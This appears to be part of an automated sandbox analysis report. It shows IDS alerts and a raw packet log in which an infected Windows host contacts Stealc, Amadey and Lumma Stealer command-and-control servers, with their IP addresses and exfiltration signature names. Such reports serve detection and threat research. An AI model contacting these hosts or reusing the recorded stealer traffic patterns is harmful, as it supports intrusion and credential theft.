.taggant	0x689000	0x3000	0x2200	dded3361df37b3958bbca7a588c2ab19	False	0.0978860294117647	DOS executable (COM)	1.1334899934768938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68708c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T19:22:04.971640+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:05.251254+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:05.259228+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T19:22:05.534038+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:05.541969+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T19:22:06.628657+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:07.553150+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:27.919097+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:29.373184+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:30.174928+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:31.018168+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:33.143816+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:33.939354+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:38.728219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49904	185.215.113.16	80	TCP
2024-11-16T19:23:06.796820+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50077	185.215.113.43	80	TCP
2024-11-16T19:23:10.149085+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50096	185.215.113.16	80	TCP
2024-11-16T19:23:13.541604+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50090	TCP
2024-11-16T19:23:13.796060+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50122	188.114.96.3	443	TCP
2024-11-16T19:23:14.360707+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50122	188.114.96.3	443	TCP
2024-11-16T19:23:14.360707+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50122	188.114.96.3	443	TCP
2024-11-16T19:23:14.444128+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50123	185.215.113.43	80	TCP
2024-11-16T19:23:15.040351+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:15.360950+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50125	185.215.113.16	80	TCP
2024-11-16T19:23:15.784921+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:15.784921+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:16.760295+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50126	188.114.96.3	443	TCP
2024-11-16T19:23:17.453665+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50126	188.114.96.3	443	TCP
2024-11-16T19:23:19.290054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50127	188.114.96.3	443	TCP
2024-11-16T19:23:19.591395+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-16T19:23:20.745213+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50129	185.215.113.206	80	TCP
2024-11-16T19:23:21.263802+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50132	188.114.96.3	443	TCP
2024-11-16T19:23:23.330298+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50133	185.215.113.43	80	TCP
2024-11-16T19:23:24.264989+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50134	185.215.113.16	80	TCP
2024-11-16T19:23:24.637573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50138	188.114.96.3	443	TCP
2024-11-16T19:23:26.688863+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-16T19:23:26.709602+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-16T19:23:28.870573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:29.417761+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:29.417761+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:30.097329+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:30.586897+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:30.586897+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:31.767728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50148	188.114.96.3	443	TCP
2024-11-16T19:23:32.698969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50149	188.114.96.3	443	TCP
2024-11-16T19:23:33.207085+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50149	188.114.96.3	443	TCP
2024-11-16T19:23:33.375275+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50150	185.215.113.43	80	TCP
2024-11-16T19:23:33.447996+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50151	188.114.96.3	443	TCP
2024-11-16T19:23:34.149149+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50152	185.215.113.16	80	TCP
2024-11-16T19:23:35.352792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-16T19:23:37.908557+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50155	188.114.96.3	443	TCP
2024-11-16T19:23:39.716580+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50157	185.215.113.206	80	TCP
2024-11-16T19:23:40.199692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-16T19:23:40.204041+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-16T19:23:42.633168+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50160	188.114.96.3	443	TCP
2024-11-16T19:23:42.970792+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50160	188.114.96.3	443	TCP
2024-11-16T19:23:43.906164+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50162	185.215.113.16	80	TCP
2024-11-16T19:23:54.355994+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50215	188.114.96.3	443	TCP
2024-11-16T19:23:54.887612+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50215	188.114.96.3	443	TCP
2024-11-16T19:23:54.887612+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50215	188.114.96.3	443	TCP
2024-11-16T19:23:56.867336+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50226	188.114.96.3	443	TCP
2024-11-16T19:23:57.364173+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50226	188.114.96.3	443	TCP
2024-11-16T19:23:57.364173+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50226	188.114.96.3	443	TCP
2024-11-16T19:23:58.640902+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50233	188.114.96.3	443	TCP
2024-11-16T19:24:00.473884+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50238	188.114.96.3	443	TCP
2024-11-16T19:24:02.546269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50245	188.114.96.3	443	TCP
2024-11-16T19:24:05.355742+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50248	188.114.96.3	443	TCP
2024-11-16T19:24:05.702727+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50248	188.114.96.3	443	TCP
2024-11-16T19:24:07.202573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50253	188.114.96.3	443	TCP
2024-11-16T19:24:07.208160+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50253	188.114.96.3	443	TCP
2024-11-16T19:24:09.704817+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50255	188.114.96.3	443	TCP
2024-11-16T19:26:51.302761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50348	20.189.173.13	443	TCP
2024-11-16T19:28:40.771262+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50937	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 19:21:58.885005951 CET	49675	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:21:58.885015965 CET	49674	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:21:59.010047913 CET	49673	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:22:03.771531105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:03.776777029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:03.776853085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:03.777086020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:03.782085896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:04.679394007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:04.679589033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:04.682549000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:04.687503099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:04.971463919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:04.971640110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:04.972495079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:04.977343082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.251049995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.251112938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.251254082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.251254082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.252496004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.259227991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533817053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533859015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533895016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533929110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533965111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.533997059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.534038067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534038067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534039021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534039021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534039021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534039021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.534051895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.534101009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.535645008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.541969061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.813126087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.813271999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.828902006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.828902006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:05.833936930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.833970070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.834029913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.834064960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.834094048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.834326982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:05.834356070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:06.628366947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:06.628657103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.277069092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.282047033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.552973032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553000927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553018093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553031921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553050995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553149939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553149939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553177118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553198099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553205967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553215027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553216934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553263903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553280115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553296089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.553313017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.553348064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.554085016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.554145098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.707262993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707289934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707307100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707335949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707353115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707350969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.707370996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707387924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707403898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.707403898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.707406998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.707427979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.707458019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708060026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708120108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708170891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708233118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708235979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708252907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708270073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708283901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708287954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.708307028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708333969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.708350897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.709100008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.709125042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.709140062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.709162951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.709196091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.709203959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.709220886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.709259033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.709290028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.710012913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.710062981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.710077047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.710109949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.710124016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.710139990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.710172892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.710211992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.861819983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.861871004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.861901045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.861910105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.861911058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.861941099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.861953974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.861978054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.861982107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862013102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862020969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862046003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862060070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862081051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862088919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862117052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862121105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862154007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862173080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862188101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862194061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862232924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862368107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862422943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862423897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862464905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862474918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862509966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862519026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862540007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.862550020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862580061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.862994909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863043070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863045931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863081932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863085032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863115072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863123894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863149881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863153934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863184929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863189936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863223076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863223076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863262892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863771915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863878012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863884926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863919020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863926888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863954067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863962889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.863987923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.863996029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864022017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864029884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864057064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864062071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864097118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864691019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864738941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864752054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864793062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864804029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864837885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864846945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864871979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864878893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864907026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864912033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864945889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.864948034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.864984989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.865571022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.865619898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.865626097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.865662098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.865667105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.865700960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.865849972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.865899086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.865956068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.865988970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.866002083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.866025925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.866034031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.866067886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:07.866398096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:07.866446972 CET	49704	80	192.168.2.5	185.215.113.206
